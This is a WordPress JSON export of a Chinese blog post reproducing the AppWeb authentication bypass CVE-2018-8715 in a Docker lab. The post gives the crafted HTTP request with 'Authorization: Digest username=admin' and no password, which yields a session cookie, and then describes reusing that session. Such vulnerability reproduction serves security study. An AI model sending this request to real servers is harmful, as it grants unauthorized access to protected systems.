{"id":165,"date":"2021-09-20T14:04:04","date_gmt":"2021-09-20T06:04:04","guid":{"rendered":"https:\/\/axinyi.xuenixiang.com\/?p=165"},"modified":"2021-09-20T14:11:55","modified_gmt":"2021-09-20T06:11:55","slug":"appweb-authentication-bypass-vulnerability-cve-2018-8715","status":"publish","type":"post","link":"https:\/\/axinyi.xuenixiang.com\/index.php\/2021\/09\/20\/appweb-authentication-bypass-vulnerability-cve-2018-8715\/","title":{"rendered":"AppWeb \u8eab\u4efd\u9a8c\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e (CVE-2018-8715)"},"content":{"rendered":"\n<p class=\"has-text-align-left has-medium-font-size\"><span class=\"begin\">AppWeb<\/span>\u662f\u57fa\u4e8e\u5f00\u6e90 GPL \u534f\u8bae\u7684\u5d4c\u5165\u5f0f Web \u670d\u52a1\u5668\uff0c\u7531 Embedthis Software LLC \u5f00\u53d1\u548c\u7ef4\u62a4\u3002 \u5b83\u662f\u7528    C\/C++ \u7f16\u5199\u7684\uff0c\u51e0\u4e4e\u53ef\u4ee5\u5728\u4efb\u4f55\u73b0\u4ee3\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u8fd0\u884c\u3002<\/p>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-background has-black-background-color has-black-color is-style-wide\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\"> \u5b83\u65e8\u5728\u4e3a\u5d4c\u5165\u5f0f\u8bbe\u5907\u63d0\u4f9b\u4e00\u4e2a Web \u5e94\u7528\u7a0b\u5e8f\u5bb9\u5668\u3002 <\/p>\n\n\n\n<p class=\"has-medium-font-size\">AppWeb\u53ef\u4ee5\u914d\u7f6e\u8ba4\u8bc1\uff0c\u5305\u62ec\u4ee5\u4e0b\u4e09\u79cd\u8ba4\u8bc1\u65b9\u5f0f\uff1a<\/p>\n\n\n\n<ul class=\"has-medium-font-size\"><li><code>basic<\/code>\uff0c\u4f20\u7edf\u7684HTTP\u57fa\u672c\u8ba4\u8bc1<\/li><li><code>digest<\/code>\uff0c\u6539\u8fdb\u4e86 HTTP \u57fa\u672c\u8eab\u4efd\u9a8c\u8bc1\u3002 \u5728\u6b64\u6a21\u5f0f\u4e0b\uff0cCookie \u5c06\u7528\u4e8e\u8eab\u4efd\u9a8c\u8bc1\u800c\u4e0d\u662f <code>Authorization<\/code>\u6807\u9898\u3002<\/li><li><code>form<\/code>, \u57fa\u4e8e HTML \u7684\u8868\u5355\u8ba4\u8bc1<\/li><\/ul>\n\n\n\n<p class=\"has-medium-font-size\">\u57287.0.3\u4e4b\u524d\u7684Appweb\u7248\u672c\u4e2d\uff0c\u5b58\u5728\u4e0eauthCondition\u51fd\u6570\u76f8\u5173\u7684\u903b\u8f91\u7f3a\u9677 <code>http\/httpLib.c<\/code>. \u4f7f\u7528\u4f2a\u9020\u7684 HTTP \u8bf7\u6c42\uff0c\u53ef\u4ee5\u7ed5\u8fc7\u8eab\u4efd\u9a8c\u8bc1 <code>form<\/code>\u548c <code>digest<\/code>\u767b\u5f55\u7c7b\u578b\u3002<\/p>\n\n\n\n<p class=\"has-medium-font-size\">\u6f0f\u6d1e\u73af\u5883<\/p>\n\n\n\n<p class=\"has-medium-font-size\">\u901a\u8fc7docker-compose\u542f\u52a8 Appweb 7.0.1 \u670d\u52a1\u5668 <code>digest<\/code>\u901a\u8fc7\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\u8fdb\u884c\u8eab\u4efd\u9a8c\u8bc1\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>docker-compose up -d<\/code><\/pre>\n\n\n\n<p>\u8bbf\u95ee <code>http:\/\/your-ip:8080<\/code>\uff0c\u60a8\u9700\u8981\u8f93\u5165\u60a8\u7684\u5e10\u6237\u5bc6\u7801\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" width=\"510\" height=\"291\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/09\/QQ\u56fe\u724720210920133806.png\" alt=\"\" class=\"wp-image-188\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/09\/QQ\u56fe\u724720210920133806.png 510w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/09\/QQ\u56fe\u724720210920133806-300x171.png 300w\" sizes=\"(max-width: 510px) 100vw, 510px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">\u6f0f\u6d1e\u590d\u73b0<\/p>\n\n\n\n<p class=\"has-medium-font-size\">\u5229\u7528\u8be5\u6f0f\u6d1e\u9700\u8981\u77e5\u9053\u4e00\u4e2a\u5df2\u5b58\u5728\u7684\u7528\u6237\u540d(\u6f0f\u6d1e\u5c40\u9650\u6027)\uff0c\u5f53\u524d\u7528\u6237\u540d\u662f <code>admin<\/code>\uff0c\u6784\u9020\u5934Authorization: Digest username=admin\uff0c\u5e76\u53d1\u9001\u6570\u636e\u5305\u7ed5\u8fc7\u9a8c\u8bc1\uff0c\u56e0\u6b64\u60a8\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u8bf7\u6c42\u7ed5\u8fc7\u8eab\u4efd\u9a8c\u8bc1\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/ HTTP\/1.1\nHost: example.com\nAccept-Encoding: gzip, deflate\nAccept: *\/*\nAccept-Language: en\nUser-Agent: Mozilla\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident\/5.0)\nConnection: close\nAuthorization: Digest username=admin<\/code><\/pre>\n\n\n\n<p class=\"has-medium-font-size\">\u5982\u60a8\u6240\u89c1\uff0c\u7531\u4e8e\u6211\u4eec\u6ca1\u6709\u4f20\u5165\u5bc6\u7801\u5b57\u6bb5\uff0c\u56e0\u6b64\u670d\u52a1\u5668\u9519\u8bef\u53d1\u751f\u5728 <code>200 status code<\/code>\u548c\u4f1a\u8bdd\u8bbe\u7f6e\u6807\u9898\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"254\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/09\/QQ\u56fe\u724720210920135206-1024x254.png\" alt=\"\" class=\"wp-image-190\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/09\/QQ\u56fe\u724720210920135206-1024x254.png 1024w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/09\/QQ\u56fe\u724720210920135206-300x74.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/09\/QQ\u56fe\u724720210920135206-768x190.png 768w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/09\/QQ\u56fe\u724720210920135206.png 1272w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">\u8fd4\u56de200 ok\uff0c\u5e76\u8fd4\u56de\u4e86set-cookies\uff0c\u6210\u529f\u7ed5\u8fc7\uff01<\/p>\n\n\n\n<p class=\"has-medium-font-size\">\u901a\u8fc7burp\uff0c\u53d1\u9001POST\u8bf7\u6c42\uff0c\u6dfb\u52a0session\u5230HTTP \u5934\u4fe1\u606f\u548c\u7528\u6237\u540d\u540e\uff0c\u53d1\u9001\u6570\u636e\u5305\u3002<\/p>\n\n\n\n<p class=\"has-medium-font-size\">\u6210\u529f\u7ed5\u8fc7\u8ba4\u8bc1\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"398\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/09\/QQ\u56fe\u724720210920141140-1024x398.png\" alt=\"\" class=\"wp-image-196\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/09\/QQ\u56fe\u724720210920141140-1024x398.png 1024w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/09\/QQ\u56fe\u724720210920141140-300x117.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/09\/QQ\u56fe\u724720210920141140-768x299.png 768w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/09\/QQ\u56fe\u724720210920141140-1536x597.png 1536w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/09\/QQ\u56fe\u724720210920141140.png 1607w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>AppWeb\u662f\u57fa\u4e8e\u5f00\u6e90 GPL \u534f\u8bae\u7684\u5d4c\u5165\u5f0f Web \u670d\u52a1\u5668\uff0c\u7531 Embedthis Software LLC \u5f00\u53d1\u548c\u7ef4\u62a4\u3002 \u5b83\u662f &#8230;<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[6],"tags":[],"_links":{"self":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts\/165"}],"collection":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/comments?post=165"}],"version-history":[{"count":24,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts\/165\/revisions"}],"predecessor-version":[{"id":197,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts\/165\/revisions\/197"}],"wp:attachment":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/media?parent=165"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/categories?post=165"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/tags?post=165"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}